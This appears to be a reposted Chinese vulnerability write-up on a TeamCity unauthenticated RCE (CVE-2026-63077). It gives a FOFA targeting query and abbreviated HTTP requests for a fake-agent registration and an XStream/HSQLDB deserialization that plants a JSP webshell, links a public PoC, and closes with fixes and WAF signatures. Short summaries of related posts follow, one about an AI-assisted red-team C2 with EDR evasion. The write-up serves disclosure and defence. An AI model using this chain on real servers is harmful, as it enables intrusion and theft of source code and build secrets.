【CVSS9.8】TeamCity未授权RCE漏洞(CVE-2026-63077)"

admin 2026-10-18 04:14:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

【CVSS 9.8】TeamCity 未授权 RCE 漏洞(CVE-2026-63077)

原创

chicken
chicken

爱坤sec

2026年8月11日 02:30
马来西亚

在小说阅读器读本章

去阅读

CVE-2026-63077

JetBrains TeamCity 未授权 RCE

安全研究 · 2026-08 公开披露

⚠️ CVSS 9.8 CRITICAL

攻击向量:网络 | 攻击复杂度:低 | 所需权限:无 | 用户交互:无

漏洞描述

TeamCity 是 JetBrains 出品的 CI/CD 构建服务器。CVE-2026-63077 允许未认证攻击者通过 Agent 轮询接口实现远程代码执行,危害等级极高。

据 FOFA 测绘,全球暴露的 TeamCity 资产超过 144,000 台,其中美国超过 35,000 台。大量部署于 Docker 容器(Ubuntu 20.04)环境中。

影响版本

TeamCity 全版本均受影响

默认端口:8111

FOFA 语法

app=\"JET_BRAINS-TeamCity\"

漏洞分析

第一环:Agent 注册(获取 Session)

攻击者向 /app/agents/v1/register 提交恶意 XML,注册一个伪造的构建 Agent。服务端返回 TeamCity-AgentSessionId,作为后续攻击的会话凭证。

POST /app/agents/v1/register
Content-Type: application/xml


  <name>t</name>
  <os>Linux</os>
  ...
</agentDetails>

→ 响应头: TeamCity-AgentSessionId: 81:xxx

第二环:XStream 反序列化(写入 JSP)

携带 Session 向 /app/agents/v1/commands/error 发送精心构造的 XStream 恶意 XML,触发 HSQLDB 反序列化 gadget。攻击链通过 HSQLDB 的 SCRIPT 命令,将 polyglot SQL/JSP 文件写入 Web 根目录。

POST /app/agents/v1/commands/error
Content-Type: application/xml
TeamCity-AgentSessionId: 81:xxx

<linked-hash-map>
  <entry>
    <string>key</string>
    <HSQLMetadataStorage...>
      <init_sql>CREATE TABLE...
        INSERT INTO ...
        SCRIPT ../webapps/ROOT/xxx.jspws</init_sql>
    </HSQLMetadataStorage>
  </entry>
</linked-hash-map>

→ HTTP 500(预期,反序列化触发)

第三环:访问 JSP 执行命令

写入的 JSP 文件位于 Web 根目录,攻击者直接 GET 访问即可执行任意系统命令。

GET /随机名.jspws
→ 命令执行结果回显

影响范围(实测)

✅ FOFA 全球暴露:144,133 台

✅ 美国:35,641 台

✅ 澳洲 / 新加坡 / 日本:各 8,000+ 台

⚠️ 大量部署于 Docker 容器,非 root 运行

危害场景

· CI/CD 服务器可窃取源码、构建产物

· 可植入持久化后门(systemd / init.d / crontab)

· 容器逃逸风险(若挂载敏感目录)

PoC 利用脚本

GitHub 公开 PoC:AnggaTechI/CVE-2026-63077

https://github.com/AnggaTechI/CVE-2026-63077

支持文件批量检测 + 命令回显,可自定义命令执行

修复建议

✅ 升级 TeamCity 至最新版本

✅ 限制 /app/agents/v1/* 接口公网访问

✅ 开启认证并修改默认端口

⚠️ WAF 拦截特征:linked-hash-map、HSQLMetadataStorage

— EOF —
仅限安全研究与授权测试


Agent开发(七)-更高效优雅的skill加载" 网络安全文章

Agent开发(七)-更高效优雅的skill加载"

本文介绍Agent开发中skill加载的优化方案,核心思路是将技能目录放入系统提示词,并复用已有的read工具来加载技能文件,从而避免新增list_skills和load_skill两个工具。该方法减少了token消耗和模型调用轮次,提升了效率。关键洞察是加载技能等于读文件,系统提示词适合存放模型始终需要知道的信息。可操作建议是采用此思路优化Agent开发,节省工具位并简化流程。
DeepSeekHarness-渗透SRC—DSH渗透测试模式" 网络安全文章

DeepSeekHarness-渗透SRC—DSH渗透测试模式"

DeepSeekHarness的渗透测试模式(dsh-pentest)是一个自包含bundle包,通过dsh插件安装,用于在授权范围内记录目标、探索线索、验证结果、管理资产与漏洞。其架构包含六张领域模型表,提供多种工具函数和Web界面,支持探索链路、漏洞、资产视图及报告生成。安装可通过ReleaseURL或本地文件进行,重启后选择渗透模式即可使用。
【工具分享】Oktos—AI增强型红队后渗透平台" 网络安全文章

【工具分享】Oktos—AI增强型红队后渗透平台"

本文介绍了Oktosv0.1.1这款面向授权红队行动的AI增强型后渗透C2平台。其核心亮点在于将大语言模型深度集成至后渗透全流程,实现攻击路径自动编排、会话初始任务自动执行及测试报告生成。技术层面,平台采用BOF动态加载架构在内存中执行指令,避免创建子进程以绕过EDR检测;同时支持基于公有云可信域名的异步低频心跳通信以隐藏流量特征。该工具具备多项目管理、跨平台载荷生成及内置服务端防火墙等功能,适合安全团队用于高效隐蔽的红队演练与渗透测试任务。
评论:0   参与:  0